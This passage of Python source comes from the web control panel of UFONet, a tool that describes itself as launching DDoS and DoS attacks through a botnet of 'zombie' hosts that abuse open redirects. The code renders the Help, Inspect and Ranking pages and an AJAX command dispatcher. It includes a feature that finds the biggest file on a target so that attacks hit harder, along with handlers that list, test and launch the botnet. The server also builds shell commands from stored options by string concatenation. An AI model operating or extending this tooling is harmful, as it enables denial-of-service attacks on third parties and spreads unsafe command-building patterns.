  2881. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2882. <center>
  2883. <table cellpadding="38" cellspacing="38">
  2884. <tr>
  2885. <td>
  2886. <div class="ringMenu">
  2887. <ul>
  2888. <li class="main"><a href="help">Help</a></li>
  2889. <li class="top"><a href="botnet">Botnet</a></li>
  2890. <li class="right"><a href="inspect">Inspect</a></li>
  2891. <li class="bottom"><a href="attack">Attack</a></li>
  2892. <li class="left"><a href="gui">RETURN</a></li>
  2893. </ul>
  2894. </div>
  2895. </td>
  2896. <td>
  2897. <table cellpadding="24" cellspacing="25" border="1">
  2898. <tr>
  2899. <td>
  2900. <a href="javascript:alert('DAIALAFSÄ & LUÄRKS says: Hi! """ + self.ranking + """, The first steps are easy ... RTFM! ;-)');"><img src='data:image/png;base64,"""+self.aliens_img+"""'></a>
  2901. </td>
  2902. <td><pre>
  2903. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  2904. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  2905. and that allows to combine both in a single offensive.
  2906. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  2907. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  2908. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  2909. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  2910. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  2911. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  2912. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  2913. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  2914. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  2915. </div><div>
  2916. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  2917. If you have problems with UFONet, try to solve them following next links:
  2918. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  2919. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  2920. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  2921. - Coding; you can try to develop more features
  2922. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  2923. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  2924. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  2925. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  2926. </div></td> </tr></table> </td></tr></table>
  2927. """ + self.pages["/footer"]
  2928. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  2929. function Requests() {
  2930. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2931. }
  2932. function Abduction() {
  2933. var win_requests = window.open("abduction","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2934. }
  2935. function Start(){
  2936. target=document.getElementById("target").value
  2937. String.prototype.startsWith = function(prefix){
  2938. return this.indexOf(prefix) === 0;
  2939. }
  2940. if(target.startsWith("http")){
  2941. params="target="+escape(target)
  2942. }else{
  2943. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  2944. return
  2945. }
  2946. runCommandX("cmd_inspect",params)
  2947. }
  2948. </script>
  2949. </head>
  2950. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2951. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2952. <center>
  2953. <table cellpadding="38" cellspacing="38">
  2954. <tr>
  2955. <td>
  2956. <div class="ringMenu">
  2957. <ul>
  2958. <li class="main"><a href="inspect">Inspect</a></li>
  2959. <li class="top"><a href="help">Help</a></li>
  2960. <li class="right"><a href="botnet">Botnet</a></li>
  2961. <li class="bottom"><a href="attack">Attack</a></li>
  2962. <li class="left"><a href="gui">RETURN</a></li>
  2963. </ul>
  2964. </div>
  2965. </td>
  2966. <td>
  2967. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2968. <tr>
  2969. <td>
  2970. <pre>
  2971. This feature will provide you the biggest file on target.
  2972. You can use this before to attack to be more effective.
  2973. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2974. <hr>
  2975. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  2976. <hr>
  2977. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  2978. </td><td><table><tr><td><img src='data:image/png;base64,"""+self.alien7_img+"""' onclick="Abduction()"></td></tr><tr><td align="right"><a href="javascript:Abduction()">ABDUCTION!</a></td></tr></table></td>
  2979. </tr></table>
  2980. </td>
  2981. </tr>
  2982. </table>
  2983. <hr>
  2984. <div id="cmdOut"></div>
  2985. """ + self.pages["/footer"]
  2986. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  2987. function Grid() {
  2988. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2989. }
  2990. function Stats() {
  2991. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2992. }
  2993. function Board() {
  2994. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2995. }
  2996. function Links() {
  2997. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2998. }
  2999. function Streams() {
  3000. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3001. }
  3002. function Sync_ranking(){
  3003. ranking_source=document.getElementById("ranking_source").value
  3004. if(ranking_source == "") {
  3005. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  3006. return
  3007. }else{
  3008. params="ranking_source="+escape(ranking_source)
  3009. runCommandX("cmd_refresh_ranking",params)
  3010. document.getElementById("nb1").style.display = "none";
  3011. document.getElementById("nb1").style.display = "block";
  3012. setTimeout("location.reload()", 10000)
  3013. }
  3014. }
  3015. </script></head>
  3016. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3017. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3018. <center>
  3019. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  3020. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  3021. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button><br><br><button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit TV.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  3022. </tr></table>
  3023. <table cellpadding="5" cellspacing="10">
  3024. <tr>
  3025. <td align="center">
  3026. Your ranking is: <b>""" + str(self.ranking) + """</b>
  3027. </td>
  3028. </tr>
  3029. <tr>
  3030. <td>
  3031. <table border="1" cellpadding="10" cellspacing="10">
  3032. <tr>
  3033. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  3034. <tr>
  3035. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  3036. <tr>
  3037. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  3038. <tr>
  3039. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  3040. <tr>
  3041. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  3042. <tr>
  3043. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  3044. <tr>
  3045. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  3046. </table>
  3047. </td>
  3048. </tr></table>
  3049. <br>
  3050. <table cellpadding="5" cellspacing="10">
  3051. <tr>
  3052. <td>Blackhole/IP:</td>
  3053. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  3054. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  3055. </tr></table>
  3056. <br>
  3057. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  3058. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  3059. <div id="cmdOut"></div>
  3060. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  3061. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  3062. <td>
  3063. </td><td>
  3064. <table border="1" cellpadding="5" cellspacing="10">
  3065. <tr>
  3066. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  3067. <tr>
  3068. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  3069. <tr>
  3070. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  3071. <tr>
  3072. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  3073. <tr>
  3074. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  3075. <tr>
  3076. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  3077. <tr>
  3078. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  3079. </table>
  3080. </td><td>
  3081. <table border="1" cellpadding="5" cellspacing="10">
  3082. <tr>
  3083. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  3084. <tr>
  3085. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  3086. <tr>
  3087. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  3088. <tr>
  3089. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  3090. <tr>
  3091. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  3092. <tr>
  3093. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  3094. </table>
  3095. </td><td>
  3096. <table border="1" cellpadding="5" cellspacing="10">
  3097. <tr>
  3098. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  3099. <tr>
  3100. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  3101. <tr>
  3102. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  3103. <tr>
  3104. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  3105. </table>
  3106. </td><td>
  3107. <table border="1" cellpadding="5" cellspacing="10">
  3108. <tr>
  3109. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  3110. <tr>
  3111. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  3112. </table>
  3113. </td>
  3114. </tr></table>
  3115. </center>
  3116. <hr>
  3117. """ + self.pages["/footer"]
  3118. self.pages["/lib.js"] = """function loadXMLDoc() {
  3119. var xmlhttp;
  3120. if (window.XMLHttpRequest) {
  3121. // code for IE7+, Firefox, Chrome, Opera, Safari
  3122. xmlhttp = new XMLHttpRequest();
  3123. } else {
  3124. // code for IE6, IE5
  3125. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3126. }
  3127. xmlhttp.onreadystatechange = function() {
  3128. if (xmlhttp.readyState == 4 ) {
  3129. if(xmlhttp.status == 200){
  3130. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3131. setTimeout("loadXMLDoc()", 3000);
  3132. }
  3133. }
  3134. }
  3135. xmlhttp.send();
  3136. }
  3137. function runCommandX(cmd,params) {
  3138. var xmlhttp;
  3139. if (window.XMLHttpRequest) {
  3140. // code for IE7+, Firefox, Chrome, Opera, Safari
  3141. xmlhttp = new XMLHttpRequest();
  3142. } else {
  3143. // code for IE6, IE5
  3144. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3145. }
  3146. xmlhttp.onreadystatechange = function() {
  3147. if (xmlhttp.readyState == 4 ) {
  3148. if(xmlhttp.status == 200){
  3149. if(cmd.indexOf("?")!=-1){
  3150. s=cmd.split("?")
  3151. cmd=s[0]
  3152. params=s[1]
  3153. }
  3154. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3155. //document.getElementById("cmdOut").scrollIntoView();
  3156. newcmd=cmd
  3157. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"||newcmd=="cmd_view_changelog"){ //do not refresh listing army
  3158. return;
  3159. } else {
  3160. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_sync_links" || newcmd=="cmd_sync_globalnet" || newcmd=="cmd_sync_streams" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_transfer_link" || newcmd=="cmd_transfer_globalnet" || newcmd=="cmd_transfer_stream" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_decrypt_links" || newcmd=="cmd_decrypt_globalnet" || newcmd=="cmd_decrypt_streams" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_link_filter" || newcmd=="cmd_globalnet_filter" || newcmd=="cmd_stream_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  3161. //do not refresh if certain text on response is found
  3162. if(newcmd.match(/update/) &&
  3163. (
  3164. xmlhttp.responseText.match(/Generating random exit/) ||
  3165. xmlhttp.responseText.match(/Biggest File/) ||
  3166. xmlhttp.responseText.match(/Abduction finished/) ||
  3167. xmlhttp.responseText.match(/Not any zombie active/) ||
  3168. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  3169. xmlhttp.responseText.match(/Unable to connect to target/) ||
  3170. xmlhttp.responseText.match(/Something wrong/) ||
  3171. xmlhttp.responseText.match(/Target url not valid/) ||
  3172. xmlhttp.responseText.match(/updated/) ||
  3173. xmlhttp.responseText.match(/For HELP use:/) ||
  3174. xmlhttp.responseText.match(/Not any .git repository found/) ||
  3175. xmlhttp.responseText.match(/End of /) ||
  3176. xmlhttp.responseText.match(/Exiting /) ||
  3177. xmlhttp.responseText.match(/Bye/)
  3178. )
  3179. ) return;
  3180. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  3181. return;}
  3182. }
  3183. }
  3184. }
  3185. if(typeof params != "undefined") cmd=cmd+"?"+params
  3186. xmlhttp.open("GET", cmd, true);
  3187. xmlhttp.send();
  3188. }
  3189. """
  3190. self.pages["/requests"] = self.html_requests()
  3191. self.pages["/board_profile"] = self.html_board_profile()
  3192. self.pages["/grid_profile"] = self.html_grid_profile()
  3193. def buildGetParams(self, request):
  3194. params = {}
  3195. try:
  3196. path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3197. except:
  3198. path = re.findall("^GET ([^\s]+)", request)
  3199. if path:
  3200. path = path[0]
  3201. start = path.find("?")
  3202. if start != -1:
  3203. if path[start+1:start+7] == "zombie":
  3204. params['zombie']=path[start+8:]
  3205. return params
  3206. if path[start+1:start+7] == "target":
  3207. params['target']=path[start+8:]
  3208. return params
  3209. for param in path[start+1:].split("&"):
  3210. f = param.split("=")
  3211. if len(f) == 2:
  3212. var = f[0]
  3213. value = f[1]
  3214. value = value.replace("+", " ")
  3215. value = urllib.parse.unquote(value)
  3216. params[var] = value
  3217. return params
  3218. def save_profile(self,pGet):
  3219. # set values for profile configuration from html form to json file
  3220. if "profile_token" in list(pGet.keys()):
  3221. profile_token = pGet["profile_token"]
  3222. else:
  3223. profile_token = self.profile_token
  3224. if "profile_icon" in list(pGet.keys()):
  3225. profile_icon = pGet["profile_icon"]
  3226. else:
  3227. profile_icon = self.profile_icon
  3228. if "profile_nick" in list(pGet.keys()):
  3229. profile_nick = pGet["profile_nick"]
  3230. else:
  3231. profile_nick = self.profile_nick
  3232. # set new values on boardcfg json file
  3233. with open(self.mothership_boardcfg_file, "w") as f:
  3234. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  3235. def save_grid(self,pGet):
  3236. # set values for profile configuration from html form to json file
  3237. if "grid_token" in list(pGet.keys()):
  3238. grid_token = pGet["grid_token"]
  3239. else:
  3240. grid_token = self.grid_token
  3241. if "grid_contact" in list(pGet.keys()):
  3242. grid_contact = pGet["grid_contact"]
  3243. else:
  3244. grid_contact = self.grid_contact
  3245. if "grid_nick" in list(pGet.keys()):
  3246. grid_nick = pGet["grid_nick"]
  3247. else:
  3248. grid_nick = self.grid_nick
  3249. # set new values on gridcfg json file
  3250. with open(self.mothership_gridcfg_file, "w") as f:
  3251. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  3252. def save_cfg(self,pGet):
  3253. # set values for requests configuration from html form to json file
  3254. if "rproxy" in list(pGet.keys()):
  3255. frm_rproxy = pGet["rproxy"]
  3256. else:
  3257. frm_rproxy = self.rproxy
  3258. if "ruseragent" in list(pGet.keys()):
  3259. frm_ruseragent = pGet["ruseragent"]
  3260. else:
  3261. frm_ruseragent = self.ruseragent
  3262. if "rreferer" in list(pGet.keys()):
  3263. frm_rreferer = pGet["rreferer"]
  3264. else:
  3265. frm_rreferer = self.rreferer
  3266. if "rhost" in list(pGet.keys()):
  3267. frm_rhost = pGet["rhost"]
  3268. else:
  3269. frm_rhost = self.rhost
  3270. if "rxforw" in list(pGet.keys()):
  3271. frm_rxforw = pGet["rxforw"]
  3272. else:
  3273. if "update" in list(pGet.keys()):
  3274. frm_rxforw = ""
  3275. else:
  3276. frm_rxforw = self.rxforw
  3277. if "rxclient" in list(pGet.keys()):
  3278. frm_rxclient = pGet["rxclient"]
  3279. else:
  3280. if "update" in list(pGet.keys()):
  3281. frm_rxclient = ""
  3282. else:
  3283. frm_rxclient = self.rxclient
  3284. if "rtimeout" in list(pGet.keys()):
  3285. frm_rtimeout = pGet["rtimeout"]
  3286. else:
  3287. frm_rtimeout = self.rtimeout
  3288. if "rretries" in list(pGet.keys()):
  3289. frm_rretries = pGet["rretries"]
  3290. else:
  3291. frm_rretries = self.rretries
  3292. if "rdelay" in list(pGet.keys()):
  3293. frm_rdelay = pGet["rdelay"]
  3294. else:
  3295. frm_rdelay = self.rdelay
  3296. if "threads" in list(pGet.keys()):
  3297. frm_threads = pGet["threads"]
  3298. else:
  3299. frm_threads = self.threads
  3300. if "rssl" in list(pGet.keys()):
  3301. frm_rssl = pGet["rssl"]
  3302. else:
  3303. if "update" in list(pGet.keys()):
  3304. frm_rssl = ""
  3305. else:
  3306. frm_rssl = self.rssl
  3307. # set new values on webcfg json file
  3308. with open(self.mothership_webcfg_file, "w") as f:
  3309. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  3310. def get(self, request):
  3311. # set request options of the user
  3312. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  3313. if self.rxforw == "on":
  3314. cmd_options = cmd_options + " --xforw"
  3315. if self.rxclient == "on":
  3316. cmd_options = cmd_options + " --xclient"
  3317. if self.rssl == "on":
  3318. cmd_options = cmd_options + " --force-ssl"
  3319. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  3320. runcmd = ""
  3321. try:
  3322. res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3323. except:
  3324. res = re.findall("^GET ([^\s]+)", request)
  3325. if res is None or len(res)==0:
  3326. return
  3327. pGet = {}
  3328. page = res[0]
  3329. paramStart = page.find("?")
  3330. if paramStart != -1:
  3331. page = page[:paramStart]
  3332. try:
  3333. pGet = self.buildGetParams(request.decode('utf-8'))
  3334. except:
  3335. pGet = self.buildGetParams(request)
  3336. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  3337. if os.path.exists("core/"+page[1:]):
  3338. try:
  3339. f=open("core/"+page[1:],'r',encoding="utf-8")
  3340. data = f.read()
  3341. self.pages[page]=data
  3342. except:
  3343. f=open("core/"+page[1:],'rb') # ajax map related
  3344. data = f.read()
  3345. self.pages[page]=data
  3346. elif page == "/js/ajax.js":
  3347. from .ajaxmap import AjaxMap
  3348. self.pages[page] = AjaxMap().ajax(pGet)
  3349. if page == "/cmd_check_tool":
  3350. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  3351. runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
  3352. if page == "/cmd_check_tool_update":
  3353. if not os.path.exists('/tmp/out'):
  3354. open('/tmp/out', 'w').close()
  3355. with open('/tmp/out', 'r') as f:
  3356. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  3357. if page == "/cmd_view_changelog":
  3358. f = open("docs/VERSION", "r")
  3359. changelog = f.read()
  3360. f.close()
  3361. self.pages["/cmd_view_changelog"] = "</center><pre>"+str(changelog)+"<br /><br/>"
  3362. if page == "/cmd_list_army":
  3363. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  3364. if page == "/cmd_list_zombies":
  3365. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  3366. if page == "/cmd_list_aliens":
  3367. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  3368. if page == "/cmd_list_droids":
  3369. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  3370. if page == "/cmd_list_ucavs":
  3371. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  3372. if page == "/cmd_list_rpcs":
